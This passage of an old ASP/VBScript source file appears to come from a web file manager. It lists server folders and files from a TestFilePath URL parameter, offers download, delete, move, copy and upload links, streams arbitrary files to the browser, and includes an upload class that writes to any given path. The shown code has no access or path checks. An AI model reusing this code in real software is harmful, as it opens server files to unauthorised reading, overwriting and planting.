	S = S & "<a href='###' onclick=""window.open('"&Url&"?action=downloadFile&TestFilePath="&UrlEnCode(File.Path)&"','','width=1,height=1,left=100,top=100')"">下载</a></td></tr>"
	
	GenerateFileInformation = S

End Function


''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' 函数名称：GenerateFolderInformation()
' 功能说明：描述文件夹的当前状态
' 创建时间：2003-06-25 17:01
' 修改时间：2003-07-31 13:20
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Function GenerateFolderInformation(Folder,i)

	Dim S, RowColor
	
	RowColor = ""
	If i Mod 2 = 0 Then RowColor = "bgcolor=#DEFDC1"
	
	S = "<tr><td "&RowColor&" title='"&(Folder.Path)&"'><a href='"&Url&"?action=Current&TestFilePath="&UrlEnCode(Folder.Path)&"'> " & Folder.Name & "</a></td>"
	
	If Not ((Folder.ParentFolder).IsRootFolder) Then
		S = S & "<td "&RowColor&">" & FormatNumber(Folder.Size/1024 ,0) & "</td>"
	Else
		S = S & "<td "&RowColor&">&nbsp;</td>"
	End If
	
	S = S & "<td "&RowColor&">" & Folder.DateCreated & "</td>"
	S = S & "<td "&RowColor&">" & Folder.DateLastModified & "</td>"
    S = S & "<td align=center "&RowColor&">"
	S = S & "<a href='###' onclick=""window.open('"&Url&"?action=FolderDownLoad&TestFilePath="&UrlEnCode(Folder.Path)&"','','width=500,height=300,left=100,top=100,scrollbars=yes')"">下载</a><font color='#004824'>|</font>"
	S = S & "<a href='###' onclick=FolderDelete('"&UrlEnCode(Folder.Path)&"')>删除</a><font color='#004824'>|</font>"
	S = S & "<font color='#006633'>改名</font><font color='#004824'>|</font>"
	S = S & "<a href='###' onclick=""window.open('"&Url&"?action=FolderMove&TestFilePath="&UrlEnCode(Folder.Path)&"','','width=500,height=200,left=100,top=100')"">移动</a><font color='#004824'>|</font>"
	S = S & "<a href='###' onclick=""window.open('"&Url&"?action=FolderCopy&TestFilePath="&UrlEnCode(Folder.Path)&"','','width=500,height=200,left=100,top=100')"">拷贝</a><font color='#004824'>|</font>"
	S = S & "<font color='#006633'>备份</font></td></tr>"

	GenerateFolderInformation = S

End Function


''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' 函数名称：GenerateAllFolderInformation()
' 功能说明：描述一个文件夹和所有文件及子文件夹的当前状态
' 创建时间：2003-06-25 7:57
' 修改时间：2003-07-31 13:20
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Function GenerateAllFolderInformation(Folder)
	Call fileHead()
	Call FileHeadTitle()
	
	On Error Resume Next

	Dim S, SubFolders, SubFolder, Files, File, i
	tmpStr = ""

	Set SubFolders = Folder.SubFolders
	CheckErr(Err)

    tmpStr = tmpStr & "<table border=0 width=700 cellspacing=1 cellpadding=4 align='center' style='word-break: break-all'>"
	tmpStr = tmpStr & "<th colspan=6>当前文件夹信息</th>"
	
	If Not (Folder.IsRootFolder) Then
		tmpStr = tmpStr & "<tr><td colspan=5><strong>上层地址：</strong><a href='"&Url&"?action=Current&TestFilePath="&UrlEnCode(Folder.ParentFolder)&"'> " & Folder.ParentFolder & "</a></td>"
	End If
	
	tmpStr = tmpStr & "<tr><td colspan=4><strong>当前地址：</strong><a href='"&Url&"?action=Current&TestFilePath="&UrlEnCode(Folder.Path)&"'> " & Folder.Path & "</a></td>"
	tmpStr = tmpStr & "<td><strong>文件夹的数量：</strong>" & SubFolders.Count & "个</td></tr>"
	
	tmpStr = tmpStr & "<tr align=center width=220><td><strong>地址</strong></td>"
	tmpStr = tmpStr & "<td width=60><strong>大小(K)</strong></td>"
	tmpStr = tmpStr & "<td width=120><strong>创建时间</strong></td>"
	tmpStr = tmpStr & "<td width=120><strong>修改时间</strong></td>"
	tmpStr = tmpStr & "<td width=180 align='right'><strong>操作：</strong>&nbsp;&nbsp;<a href='###' onclick=""window.open('"&Url&"?action=FolderNew&TestFilePath="&UrlEnCode(Folder.Path)&"','','width=500,height=200,left=100,top=100')"">新建</a>"
	tmpStr = tmpStr & " | <a href='###' onclick=""window.open('"&Url&"?action=FolderUpload&TestFilePath="&UrlEnCode(Folder.Path)&"','','width=500,height=300,left=100,top=100,scrollbars=yes')"">上传</a></td></tr>"


	If SubFolders.Count <> 0 Then  
		i = 1
		For Each SubFolder In SubFolders
			i = i + 1
			tmpStr = tmpStr & GenerateFolderInformation(SubFolder,i)
		Next
	End If

	Response.Write tmpStr & "</table><br>"
	tmpStr = ""
	
	Set Files = Folder.Files
	CheckErr(Err)

    tmpStr = tmpStr & "<table border=0 width=700 cellspacing=1 cellpadding=4 align='center' style='word-break: break-all'>"
	tmpStr = tmpStr & "<th colspan=5>当前文件信息</th>"

	If Not (Folder.IsRootFolder) Then
		tmpStr = tmpStr & "<tr><td colspan=5><strong>上层地址：</strong><a href='"&Url&"?action=Current&TestFilePath="&UrlEnCode(Folder.ParentFolder)&"'> " & Folder.ParentFolder & "</a></td>"
	End If
	
	tmpStr = tmpStr & "<tr><td colspan=4><strong>当前地址：</strong><a href='"&Url&"?action=Current&TestFilePath="&UrlEnCode(Folder.Path)&"'> " & Folder.Path & "</a></td>"
	tmpStr = tmpStr & "<td><strong>文件的数量：</strong>" & Files.Count & "个</td></tr>"
	
	tmpStr = tmpStr & "<tr align=center width=220><td><strong>文件地址</strong></td>"
	tmpStr = tmpStr & "<td width=60><strong>大小(K)</strong></td>"
	tmpStr = tmpStr & "<td width=120><strong>创建时间</strong></td>"
	tmpStr = tmpStr & "<td width=120><strong>修改时间</strong></td>"
	tmpStr = tmpStr & "<td width=180 align='right'><strong>操作：</strong>&nbsp;&nbsp;<a href='###' onclick=""window.open('"&Url&"?action=FileNew&TestFilePath="&UrlEnCode(Folder.Path)&"','','width=770,height=540,left=0,top=0')"">新建</a>"
	tmpStr = tmpStr & " | <a href='###' onclick=""window.open('"&Url&"?action=FileUpload&TestFilePath="&UrlEnCode(Folder.Path)&"','','width=500,height=200,left=100,top=100')"">上传</a></td></tr>"
	
	If Files.Count <> 0 Then
		i = 1
		For Each File In Files
			i = i + 1
			tmpStr = tmpStr & GenerateFileInformation(File,i)
		Next
	End If

	Response.Write tmpStr & "</table>"

End Function


''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' 函数名称：GenerateTestInformation()
' 功能说明：描述文件夹和所有文件及子文件夹的当前状态
' 创建时间：2003-06-25 17:01
' 修改时间：2003-07-31 13:20
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Function GenerateTestInformation()
	Dim TestFolder
	Dim S

	On Error Resume Next

	If Not FSO.FolderExists(TestFilePath) Then 
		Response.Write("<script>alert('当前文件夹不存在！');history.back();</script>")
		Response.End()	
	End If
	
	Set TestFolder = FSO.GetFolder(TestFilePath)
	
	CheckErr(Err)

	GenerateAllFolderInformation(TestFolder) 

End Function


''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' 函数名称：downloadFile()
' 功能说明：这个函数有netasp写的。
' 创建时间：2003-06-25 17:01
' 修改时间：2003-07-31 13:20
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Function downloadFile(strFile)
	Dim s,fso,f,intFilelength,strFilename
	
	strFilename = strFile

	Response.Buffer = True
	Response.Clear

	Set s = Server.CreateObject("ADODB.Stream")
	
	s.Open
	s.Type = 1
	
	on error resume next
	
	Set fso = Server.CreateObject("Scripting.FileSystemObject")
	if not fso.FileExists(strFilename) then
		Response.Write("<h1>Error:</h1>" & strFilename & " does not exist<p>")
		Response.End
	end if
	
	Set f = fso.GetFile(strFilename)
	intFilelength = f.size
	
	s.LoadFromFile(strFilename)
	if err then
		Response.Write("<h1>Error: </h1>" & err.Description & "<p>")
		Response.End
	end if
	
	Response.AddHeader "Content-Disposition", "attachment; filename=" & f.name
	Response.AddHeader "Content-Length", intFilelength
	Response.CharSet     = "UTF-8"
	Response.ContentType = "application/octet-stream"
	
	Response.BinaryWrite s.Read
	Response.Flush

	Response.Write("<script>window.close();</script>")
	
	s.Close
	Set s = Nothing
	Response.End()
End Function 

%>
<SCRIPT RUNAT=SERVER LANGUAGE=VBSCRIPT>

Dim Data_5xsoft

Class upload_5xsoft
	Dim objForm,objFile,Version

	Public Function Form(strForm)
	   strForm = lcase(strForm)

	   If Not objForm.exists(strForm) Then
		 Form = ""
	   Else
		 Form = objForm(strForm)
	   End If

	End Function

	Public Function File(strFile)
	   strFile = lcase(strFile)

	   If Not objFile.exists(strFile) Then
		 Set File = new FileInfo
	   Else
		 Set File = objFile(strFile)
	   End If

	End Function


	Private Sub Class_Initialize 
		Dim RequestData,sStart,vbCrlf,sInfo,iInfoStart,iInfoEnd,tStream,iStart,theFile
		Dim iFileSize,sFilePath,sFileType,sFormValue,sFileName
		Dim iFindStart,iFindEnd
		Dim iFormStart,iFormEnd,sFormName

		Version="化境HTTP上传程序 Version 2.0"
		Set objForm=Server.CreateObject("Scripting.Dictionary")
		Set objFile=Server.CreateObject("Scripting.Dictionary")

		If Request.TotalBytes < 1 Then Exit Sub
		Set tStream      = Server.CreateObject("adodb.stream")
		Set Data_5xsoft  = Server.CreateObject("adodb.stream")
		Data_5xsoft.Type = 1
		Data_5xsoft.Mode = 3
		Data_5xsoft.Open
		Data_5xsoft.Write  Request.BinaryRead(Request.TotalBytes)
		Data_5xsoft.Position=0
		RequestData = Data_5xsoft.Read 

		iFormStart = 1
		iFormEnd   = LenB(RequestData)
		vbCrlf = chrB(13) & chrB(10)
		sStart = MidB(RequestData,1, InStrB(iFormStart,RequestData,vbCrlf)-1)
		iStart = LenB (sStart)
		iFormStart=iFormStart+iStart+1

		While (iFormStart + 10) < iFormEnd 

			iInfoEnd = InStrB(iFormStart,RequestData,vbCrlf & vbCrlf)+3
			tStream.Type = 1
			tStream.Mode =3
			tStream.Open
			Data_5xsoft.Position = iFormStart
			Data_5xsoft.CopyTo tStream,iInfoEnd-iFormStart
			tStream.Position = 0
			tStream.Type = 2
			tStream.Charset ="gb2312"
			sInfo = tStream.ReadText
			tStream.Close

			'取得表单项目名称
			iFormStart = InStrB(iInfoEnd,RequestData,sStart)
			iFindStart = InStr(22,sInfo,"name=""",1)+6
			iFindEnd = InStr(iFindStart,sInfo,"""",1)
			sFormName = lcase(Mid (sinfo,iFindStart,iFindEnd-iFindStart))
			'如果是文件
			If InStr (45,sInfo,"filename=""",1) > 0 Then

				Set theFile=new FileInfo
				'取得文件名
				iFindStart = InStr(iFindEnd,sInfo,"filename=""",1)+10
				iFindEnd = InStr(iFindStart,sInfo,"""",1)
				sFileName = Mid (sinfo,iFindStart,iFindEnd-iFindStart)
				theFile.FileName=getFileName(sFileName)
				theFile.FilePath=getFilePath(sFileName)
				'取得文件类型
				iFindStart = InStr(iFindEnd,sInfo,"Content-Type: ",1)+14
				iFindEnd = InStr(iFindStart,sInfo,vbCr)
				theFile.FileType =Mid (sinfo,iFindStart,iFindEnd-iFindStart)
				theFile.FileStart =iInfoEnd
				theFile.FileSize = iFormStart -iInfoEnd -3
				theFile.FormName=sFormName

				If Not objFile.Exists(sFormName) Then
					objFile.add sFormName,theFile
				End If

			Else
				
				'如果是表单项目
				tStream.Type =1
				tStream.Mode =3
				tStream.Open
				Data_5xsoft.Position = iInfoEnd 
				Data_5xsoft.CopyTo tStream,iFormStart-iInfoEnd-3
				tStream.Position = 0
				tStream.Type = 2
				tStream.Charset ="gb2312"
				sFormValue = tStream.ReadText 
				tStream.Close

				If objForm.Exists(sFormName) Then
					objForm(sFormName)=objForm(sFormName)&", "&sFormValue		  
				Else
					objForm.Add sFormName,sFormValue
				End If

			End If

			iFormStart=iFormStart+iStart+1
		wend

		RequestData=""
		Set tStream =nothing
	End Sub

	Private Sub Class_Terminate  

		If Request.TotalBytes>0 Then
			objForm.RemoveAll
			objFile.RemoveAll
			Set objForm=nothing
			Set objFile=nothing
			Data_5xsoft.Close
			Set Data_5xsoft =nothing
		End If

	End Sub
   
 
	Private Function GetFilePath(FullPath)

		If FullPath <> "" Then
			GetFilePath = left(FullPath,InStrRev(FullPath, "\"))
		Else
			GetFilePath = ""
		End If

	End  Function
 
	Private Function GetFileName(FullPath)

		If FullPath <> "" Then
			GetFileName = mid(FullPath,InStrRev(FullPath, "\")+1)
		Else
			GetFileName = ""
		End If

	End  Function

End Class

Class FileInfo
	Dim FormName,FileName,FilePath,FileSize,FileType,FileStart

	Private Sub Class_Initialize 
		FileName = ""
		FilePath = ""
		FileSize = 0
		FileStart= 0
		FormName = ""
		FileType = ""
	End Sub
  
	Public Function SaveAs(FullPath)
		Dim dr,ErrorChar,i
		SaveAs=true

		If trim(fullpath)="" or FileStart=0 or FileName="" or right(fullpath,1)="/" Then exit Function
		Set dr=CreateObject("Adodb.Stream")
		dr.Mode=3
		dr.Type=1
		dr.Open

		Data_5xsoft.position = FileStart
		Data_5xsoft.copyto dr,FileSize
		dr.SaveToFile FullPath,2

		dr.Close
		Set dr = nothing 
		SaveAs = false

	End Function
End Class

</SCRIPT>

<script>window.close();</script><script>window.close();</script>